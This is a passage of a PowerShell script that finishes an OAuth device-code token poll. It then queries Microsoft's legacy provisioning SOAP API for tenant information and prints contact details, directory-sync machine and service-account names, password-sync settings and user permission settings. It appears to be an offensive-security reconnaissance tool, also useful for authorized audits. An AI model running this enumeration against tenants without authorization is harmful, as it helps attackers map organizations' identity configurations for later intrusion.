$aadtokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
|
|
}
|
|
catch{
|
|
$details=$_.ErrorDetails.Message | ConvertFrom-Json
|
|
$continue = $details.error -eq "authorization_pending"
|
|
Write-Output $details.error
|
|
}
|
|
if($aadtokens)
|
|
{
|
|
Write-Host "[*] Successful auth"
|
|
$access_token = $aadtokens.access_token
|
|
break
|
|
}
|
|
Start-Sleep -Seconds 3
|
|
}
|
|
}
|
|
|
|
# Generate unique GUIDs
|
|
$messageId = [guid]::NewGuid()
|
|
$trackingHeader = [guid]::NewGuid()
|
|
$clientId = "50afce61-c917-435b-8c6d-60aa5a8b8aa7"
|
|
|
|
|
|
|
|
$soapRequest = @"
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">http://provisioning.microsoftonline.com/IProvisioningWebService/MsolConnect</a:Action>
|
|
<a:MessageID>urn:uuid:$messageId</a:MessageID>
|
|
<a:ReplyTo>
|
|
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
|
</a:ReplyTo>
|
|
<UserIdentityHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<BearerToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">$access_token</BearerToken>
|
|
<LiveToken i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService"/>
|
|
</UserIdentityHeader>
|
|
<ClientVersionHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<ClientId xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">$clientId</ClientId>
|
|
<Version xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">1.2.183.57</Version>
|
|
</ClientVersionHeader>
|
|
<ContractVersionHeader xmlns="http://becwebservice.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<BecVersion xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Version47</BecVersion>
|
|
</ContractVersionHeader>
|
|
<TrackingHeader xmlns="http://becwebservice.microsoftonline.com/">$trackingHeader</TrackingHeader>
|
|
<a:To s:mustUnderstand="1">https://provisioningapi.microsoftonline.com/provisioningwebservice.svc</a:To>
|
|
</s:Header>
|
|
<s:Body>
|
|
<MsolConnect xmlns="http://provisioning.microsoftonline.com/">
|
|
<request xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<b:BecVersion>Version4</b:BecVersion>
|
|
<b:TenantId i:nil="true"/>
|
|
<b:VerifiedDomain i:nil="true"/>
|
|
</request>
|
|
</MsolConnect>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
"@
|
|
|
|
|
|
Write-Host -ForegroundColor yellow "[*] Now trying to query the MS provisioning API for organization settings."
|
|
# Send the SOAP request to the provisioningwebservice
|
|
$response = Invoke-WebRequest -Uri 'https://provisioningapi.microsoftonline.com/provisioningwebservice.svc' -Method Post -ContentType 'application/soap+xml; charset=utf-8' -Body $soapRequest
|
|
|
|
|
|
if ($response -match '<DataBlob[^>]*>(.*?)<\/DataBlob>') {
|
|
$dataBlob = $Matches[1]
|
|
} else {
|
|
Write-Host "DataBlob not found in the response."
|
|
}
|
|
|
|
$messageID = [guid]::NewGuid()
|
|
$trackingHeader = [guid]::NewGuid()
|
|
|
|
$GetCompanyInfoSoapRequest = @"
|
|
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
|
<s:Header>
|
|
<a:Action s:mustUnderstand="1">http://provisioning.microsoftonline.com/IProvisioningWebService/GetCompanyInformation</a:Action>
|
|
<a:MessageID>$MessageID</a:MessageID>
|
|
<a:ReplyTo>
|
|
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
|
</a:ReplyTo>
|
|
<UserIdentityHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<BearerToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Bearer $access_token</BearerToken>
|
|
<LiveToken i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService"/>
|
|
</UserIdentityHeader>
|
|
<BecContext xmlns="http://becwebservice.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<DataBlob xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">$dataBlob</DataBlob>
|
|
<PartitionId xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">70</PartitionId>
|
|
</BecContext>
|
|
<ClientVersionHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<ClientId xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">$ClientId</ClientId>
|
|
<Version xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">1.2.183.57</Version>
|
|
</ClientVersionHeader>
|
|
<ContractVersionHeader xmlns="http://becwebservice.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<BecVersion xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Version47</BecVersion>
|
|
</ContractVersionHeader>
|
|
<TrackingHeader xmlns="http://becwebservice.microsoftonline.com/">$TrackingHeader</TrackingHeader>
|
|
<a:To s:mustUnderstand="1">https://provisioningapi.microsoftonline.com/provisioningwebservice.svc</a:To>
|
|
</s:Header>
|
|
<s:Body>
|
|
<GetCompanyInformation xmlns="http://provisioning.microsoftonline.com/">
|
|
<request xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
|
|
<b:BecVersion>Version16</b:BecVersion>
|
|
<b:TenantId i:nil="true"/>
|
|
<b:VerifiedDomain i:nil="true"/>
|
|
</request>
|
|
</GetCompanyInformation>
|
|
</s:Body>
|
|
</s:Envelope>
|
|
"@
|
|
|
|
$companyinfo = Invoke-WebRequest -Uri 'https://provisioningapi.microsoftonline.com/provisioningwebservice.svc' -Method Post -ContentType 'application/soap+xml; charset=utf-8' -Body $GetCompanyInfoSoapRequest
|
|
|
|
|
|
$xml = [xml]$companyInfo
|
|
|
|
# Define namespaces
|
|
$ns = New-Object Xml.XmlNamespaceManager($xml.NameTable)
|
|
$ns.AddNamespace("s", "http://www.w3.org/2003/05/soap-envelope")
|
|
$ns.AddNamespace("b", "http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService")
|
|
$ns.AddNamespace("c", "http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration")
|
|
$ns.AddNamespace("d", "http://schemas.microsoft.com/2003/10/Serialization/Arrays")
|
|
$ns.AddNamespace("ns", "http://schemas.microsoft.com/online/serviceextensions/2009/08/ExtensibilitySchema.xsd")
|
|
|
|
|
|
# Extract data using XPath
|
|
$displayName = $xml.SelectSingleNode("//c:DisplayName", $ns).InnerText
|
|
$street = $xml.SelectSingleNode("//c:Street", $ns).InnerText
|
|
$city = $xml.SelectSingleNode("//c:City", $ns).InnerText
|
|
$state = $xml.SelectSingleNode("//c:State", $ns).InnerText
|
|
$postalCode = $xml.SelectSingleNode("//c:PostalCode", $ns).InnerText
|
|
$Country = $xml.SelectSingleNode("//c:CountryLetterCode", $ns).InnerText
|
|
$TechnicalContact = $xml.SelectSingleNode("//c:TechnicalNotificationEmails", $ns).InnerText
|
|
$Telephone = $xml.SelectSingleNode("//c:TelephoneNumber", $ns).InnerText
|
|
$InitialDomain = $xml.SelectSingleNode("//c:InitialDomain", $ns).InnerText
|
|
$DirSync = $xml.SelectSingleNode("//c:DirectorySynchronizationEnabled", $ns).InnerText
|
|
$DirSyncStatus = $xml.SelectSingleNode("//c:DirectorySynchronizationStatus", $ns).InnerText
|
|
$DirSyncClientMachine = $xml.SelectSingleNode("//c:DirSyncClientMachineName", $ns).InnerText
|
|
$DirSyncServiceAccount = $xml.SelectSingleNode("//c:DirSyncServiceAccount", $ns).InnerText
|
|
$PasswordSync = $xml.SelectSingleNode("//c:PasswordSynchronizationEnabled", $ns).InnerText
|
|
$PasswordReset = $xml.SelectSingleNode("//c:SelfServePasswordResetEnabled", $ns).InnerText
|
|
$UsersPermToConsent = $xml.SelectSingleNode("//c:UsersPermissionToUserConsentToAppEnabled", $ns).InnerText
|
|
$UsersPermToReadUsers = $xml.SelectSingleNode("//c:UsersPermissionToReadOtherUsersEnabled", $ns).InnerText
|
|
$UsersPermToCreateLOBApps = $xml.SelectSingleNode("//c:UsersPermissionToCreateLOBAppsEnabled", $ns).InnerText
|
|
$UsersPermToCreateGroups = $xml.SelectSingleNode("//c:UsersPermissionToCreateGroupsEnabled", $ns).InnerText
|
|
|
|
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
Write-Host -ForegroundColor Yellow "Main Contact Info"
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
# Display the extracted data
|
|
Write-Host "Display Name: $displayName"
|
|
Write-Host "Street: $street"
|
|
Write-Host "City: $city"
|
|
Write-Host "State: $state"
|
|
Write-Host "Postal Code: $postalCode"
|
|
Write-Host "Country: $country"
|
|
Write-Host "Technical Notification Email: $TechnicalContact"
|
|
Write-Host "Telephone Number: $Telephone"
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
Write-Host -ForegroundColor Yellow "Directory Sync Settings"
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
Write-Host "Initial Domain: $initialDomain"
|
|
Write-Host "Directory Sync Enabled: $dirSync"
|
|
Write-Host "Directory Sync Status: $dirSyncStatus"
|
|
Write-Host "Directory Sync Client Machine: $dirSyncClientMachine"
|
|
Write-Host "Directory Sync Service Account: $dirSyncServiceAccount"
|
|
Write-Host "Password Sync Enabled: $passwordSync"
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
Write-Host -ForegroundColor Yellow "User Settings"
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
Write-Host "Self-Service Password Reset Enabled: $passwordReset"
|
|
Write-Host "Users Can Consent to Apps: $UsersPermToConsent"
|
|
Write-Host "Users Can Read Other Users: $UsersPermToReadUsers"
|
|
Write-Host "Users Can Create Apps: $UsersPermToCreateLOBApps"
|
|
Write-Host "Users Can Create Groups: $UsersPermToCreateGroups"
|
|
|
|
|
|
# Select the ServiceParameter nodes
|
|
$serviceParameters = $xml.SelectNodes("//ns:ServiceParameter", $ns)
|
|
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
Write-Host -ForegroundColor Yellow "Additional Service Parameters"
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
# Loop through each ServiceParameter node and extract the Name and Value
|
|
foreach ($parameter in $serviceParameters) {
|
|
$name = $parameter.Name
|
|
$value = $parameter.Value
|
|
Write-Host "$name : $value"
|
|
}
|
|
Write-Host -ForegroundColor Yellow ("=" * 80)
|
|
}
|